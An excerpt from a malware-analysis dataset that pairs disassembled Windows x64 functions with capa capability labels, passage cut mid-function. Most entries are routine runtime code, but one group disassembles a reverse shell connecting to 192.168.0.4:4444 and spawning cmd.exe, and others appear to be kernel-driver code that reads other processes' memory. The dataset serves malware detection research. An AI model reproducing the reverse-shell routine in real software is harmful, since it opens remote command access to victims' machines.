joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001116d
Capabilities:
Write file on windows

Disassembly:
jmp 0x140025e00
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140045127]
call fcn.140011cf3
nop
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140025e58
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140025f6a
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140025f03
cmp qword [rbp + 0x28], 0
jle 0x140025f03
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140025ea1
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011c44
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rbp + 0x130], 0
jle 0x140025f59
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140025f59
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14001174e
Capabilities:
Terminate process

Disassembly:
jmp 0x140029590
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14001191a
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002a0c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002a0e0
xor al, al
jmp 0x14002a161
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002a0f3
xor al, al
jmp 0x14002a161
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002a11d
xor al, al
jmp 0x14002a161
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002a131
xor al, al
jmp 0x14002a161
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002a143
xor al, al
jmp 0x14002a161
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002a15f
xor al, al
jmp 0x14002a161
mov al, 1
add rsp, 0x38
ret
Function at 0x140011bf4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x14001e1c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x7e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [0x14003c040]
xor rax, rbp
mov qword [rbp + 0x2a0], rax
lea rcx, [0x140045131]
call fcn.140011cf3
nop
mov rcx, qword [rbp + 0x2d0]
call fcn.14001114a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
je 0x14001e232
mov eax, dword [rbp + 4]
and eax, 0x10
test eax, eax
je 0x14001e239
xor al, al
jmp 0x14001e37f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.140011497
nop
xor r8d, r8d
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call fcn.1400113e8
test eax, eax
je 0x14001e266
xor al, al
jmp 0x14001e37f
mov edx, 0x18
lea rcx, [rbp + 0x78]
call fcn.140011da2
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x1f8], rax
lea rax, [rbp + 0x218]
mov qword [rbp + 0x248], rax
lea rcx, [rbp + 0x1a4]
call fcn.14001171c
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x2d0]
call fcn.1400111fe
mov qword [rbp + 0x280], rax
mov rdx, qword [rbp + 0x248]
mov rcx, qword [rbp + 0x2d0]
call fcn.14001100a
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x278]
mov r9, rax
mov r8, qword [rbp + 0x280]
mov rdx, qword [rbp + 0x288]
lea rcx, [rbp + 0x168]
call fcn.140011415
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov qword [rbp + 0x298], rax
mov rcx, qword [rbp + 0x298]
call fcn.14001147e
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.1400112f8
nop
lea rcx, [rbp + 0x168]
call fcn.140011b36
nop
lea rcx, [rbp + 0x78]
call fcn.140011447
test eax, eax
je 0x14001e369
mov rcx, qword [rbp + 0x58]
call fcn.1400116db
nop
mov byte [rbp + 0x264], 0
lea rcx, [rbp + 0x78]
call fcn.14001141f
movzx eax, byte [rbp + 0x264]
jmp 0x14001e37f
lea rcx, [rbp + 0x78]
call fcn.14001141f
nop
mov rcx, qword [rbp + 0x58]
call fcn.1400116db
nop
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140032710]
call fcn.140011acd
mov rax, rdi
mov rcx, qword [rbp + 0x2a0]
xor rcx, rbp
call fcn.140011668
lea rsp, [rbp + 0x2b8]
pop rdi
pop rbp
ret
Function at 0x140011cd0
Capabilities:
Write file on windows

Disassembly:
jmp 0x140020040
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14003c040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x140045127]
call fcn.140011cf3
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x1400200a7
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400200ae
mov al, 1
jmp 0x1400201fe
call fcn.1400113cf
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.1400113cf
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.140011a55
movzx eax, al
test eax, eax
je 0x1400200ff
xor al, al
jmp 0x1400201fe
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x140020164
cmp dword [rbp + 0x154], 1
je 0x14002016f
cmp dword [rbp + 0x154], 3
je 0x1400201ed
jmp 0x1400201fc
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x1400201bf
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x1400201bf
xor al, al
jmp 0x1400201fe
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400201da
mov dword [rbp + 0x154], 1
jmp 0x1400201e4
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x1400201fe
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1400201fe
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400333b0]
call fcn.140011acd
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140011668
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x1400279a0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011d48
movzx eax, al
test eax, eax
jne 0x1400279c0
mov ecx, 7
call fcn.140011ae1
nop
mov byte [rsp + 0x20], 0
call fcn.140011b31
mov byte [rsp + 0x21], al
cmp dword [0x14003c7e0], 1
jne 0x1400279e4
mov ecx, 7
call fcn.140011ae1
nop
jmp 0x140027a3c
cmp dword [0x14003c7e0], 0
jne 0x140027a37
mov dword [0x14003c7e0], 1
lea rdx, [0x140031770]
lea rcx, [0x140031440]
call fcn.140011640
test eax, eax
je 0x140027a18
mov eax, 0xff
jmp 0x140027b41
lea rdx, [0x140031330]
lea rcx, [section..rdata]
call fcn.140011b18
mov dword [0x14003c7e0], 2
jmp 0x140027a3c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011ab9
call fcn.140011960
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140027a99
mov rcx, qword [rsp + 0x30]
call fcn.140011528
movzx eax, al
test eax, eax
je 0x140027a99
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140046020]
nop
call fcn.1400119f6
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140027acd
mov rcx, qword [rsp + 0x38]
call fcn.140011528
movzx eax, al
test eax, eax
je 0x140027acd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011ca8
nop
call fcn.140027bf0
mov dword [rsp + 0x28], eax
call fcn.14001191a
movzx eax, al
test eax, eax
jne 0x140027aec
mov ecx, dword [rsp + 0x28]
call fcn.140011109
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140027afb
call fcn.140011cc1
nop
xor edx, edx
mov cl, 1
call fcn.1400114d8
mov eax, dword [rsp + 0x28]
jmp 0x140027b41
add rsp, 0x68
ret
Function at 0x14000b300
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140015bf0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140015bf0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000b370
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e40a4]
mov rbx, rcx
test esi, esi
jle 0x14000b4a0
mov rax, qword [0x1400e40a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000b3bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000b445
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000b3a0
mov rcx, rbx
call fcn.14000bde0
mov rdi, rax
test rax, rax
je 0x14000b4c2
mov rax, qword [0x1400e40a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000bf20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e40a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b4a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000b43e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000b450
add dword [0x1400e40a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e40a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b43e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000b300
nop dword [rax]
xor esi, esi
jmp 0x14000b3c8
mov rax, qword [0x1400e40a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000b300
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000b300
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000ba50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e4100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e40e0]
test rbx, rbx
je 0x14000baac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000baa3
test eax, eax
jne 0x14000baa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000ba88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000bde0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bd2b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000be00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000be08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000be00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000be5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000be54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000be00
add rax, 0x28
cmp rax, r9
jne 0x14000be40
xor eax, eax
ret

Function at 0x14000be60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bd2b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000be7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000be88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000be7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000bf20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bd2b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000bf3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000bf48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400164f0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp - 9]
mov qword [rbp - 8], rax
nop
nop
lea rdx, [rbp - 9]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str.dsadsa
mov rcx, rax
call fcn.14009eae0
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 8
call fcn.140016690
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f020
lea rax, [rbp - 9]
mov rcx, rax
call fcn.14008ffa0
nop
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400b6230], rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x140016640
Capabilities:
Connect socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400b6230]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400b6220]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x1400771e0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140077228
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400771fa
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b0ac0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b6200]
jmp 0x14000cc90

Function at 0x1400b0ad0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b6200]
jmp 0x14000cc90
Function at 0x1400b12b0
Capabilities:
Create process on windows
Create process suspended
Initialize winsock library

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.14000b0f0
lea rax, str.192.168.0.4
mov qword [rbp - 0x10], rax
mov word [rbp - 0x42], 0x115c
lea rax, [rbp - 0x19]
mov qword [rbp - 0x18], rax
nop
nop
lea rdx, [rbp - 0x19]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x1400b7015]
mov rcx, rax
call fcn.14009eae0
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x529
call fcn.140016690
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009f020
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.14008ffa0
nop
lea rax, [0x1400b6260]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14009acb0
mov dword [rbp - 4], 0
jmp 0x1400b1367
lea rdx, [rbp - 0x42]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14009abe0
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0
jle 0x1400b1353
call fcn.1400164f0
mov word [0x1400b6220], 2
movzx eax, word [rbp - 0x42]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400b6222], ax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400b6224], eax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rax, qword [0x1400bcd00]
mov rcx, rax
call fcn.1400adcf0
lea rax, [0x1400b3380]
mov rdx, rax
mov rax, qword [0x1400bcd00]
mov rcx, rax
call fcn.1400adff0
movzx eax, word [rbp - 0x42]
cwde
mov ecx, eax
call fcn.1400165d0
mov r8d, 0x68
mov edx, 0
lea rax, [0x1400b6400]
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rax, qword [0x1400bcd00]
mov rcx, rax
call fcn.1400adcf0
mov dword [0x1400b6400], 0x68
mov dword [0x1400b643c], 1
mov rax, qword [0x1400b6230]
mov qword [0x1400b6460], rax
mov rax, qword [0x1400b6460]
mov qword [0x1400b6458], rax
mov rax, qword [0x1400b6458]
mov qword [0x1400b6450], rax
lea rax, [0x1400b6240]
mov qword [rsp + 0x48], rax
lea rax, [0x1400b6400]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
sub rsp, 0x28
lea rcx, [0x1400b6120]
call fcn.1400a6450
lea rcx, [0x1400b11d0]
add rsp, 0x28
jmp fcn.140001410
Function at 0x140001530
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 4]
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
call fcn.140001810
mov qword [0x140004038], rax
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov qword [rsp + 0x28], 1
mov r8d, 8
lea rdx, [rsp + 0x28]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 8]
call fcn.140002b40
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001760
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x34d391
je 0x140001780
mov eax, 0xc0000001
jmp 0x140001806
mov rax, qword [rsp + 0x40]
cmp dword [rax + 4], 0
jne 0x140001792
mov eax, 0xc0000001
jmp 0x140001806
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 4]
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
nop
cmp qword [rsp + 0x20], 0
jne 0x1400017c2
mov eax, 0xc0000001
jmp 0x140001806
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400017e0
mov eax, 0xc0000001
jmp 0x140001806
mov r8d, 8
lea rdx, [rsp + 0x28]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 8]
call fcn.140002b40
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
add rsp, 0x38
ret
Function at 0x1400020e0
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
cmp dword [rax], 0x34d391
je 0x140002100
mov eax, 0xc0000001
jmp 0x140002263
mov rax, qword [rsp + 0x70]
cmp dword [rax + 4], 0
jne 0x140002115
mov eax, 0xc0000001
jmp 0x140002263
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
lea rdx, [rsp + 0x28]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
nop
cmp qword [rsp + 0x28], 0
jne 0x140002148
mov eax, 0xc0000001
jmp 0x140002263
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
movzx eax, byte [rax + 0x21]
test eax, eax
je 0x14000217f
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 8]
mov rcx, qword [0x140004038]
call fcn.140001d40
mov qword [rsp + 0x30], rax
jmp 0x1400021d7
cmp qword [rsp + 0x28], 0
jne 0x14000218e
xor eax, eax
jmp 0x140002263
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1400021bf
call fcn.140002670
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + rax]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 8]
mov rcx, qword [rsp + 0x38]
call fcn.140002310
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400021e6
mov eax, 0xc0000001
jmp 0x140002263
mov rax, qword [rsp + 0x30]
and rax, 0xfff
mov ecx, 0x1000
sub rcx, rax
mov rax, rcx
mov rdx, qword [rsp + 0x50]
mov ecx, eax
call fcn.1400015b0
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x70]
movzx eax, byte [rax + 0x20]
test eax, eax
je 0x140002243
lea r9, [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
call fcn.140002020
nop
jmp 0x140002261
lea r9, [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
call fcn.140001c00
nop
xor eax, eax
add rsp, 0x68
ret
Function at 0x1400208b0
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r8d, 0x5c
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.140172be0
mov rax, qword [rsp + 0x30]
mov dword [rax], 0x67452301
mov rax, qword [rsp + 0x30]
mov dword [rax + 4], 0xefcdab89
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0x98badcfe
mov rax, qword [rsp + 0x30]
mov dword [rax + 0xc], 0x10325476
mov eax, 1
add rsp, 0x28
ret
Function at 0x140029e88
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 4], 0
mov dword [rsp], 0xffffffff
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x140029f1b
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
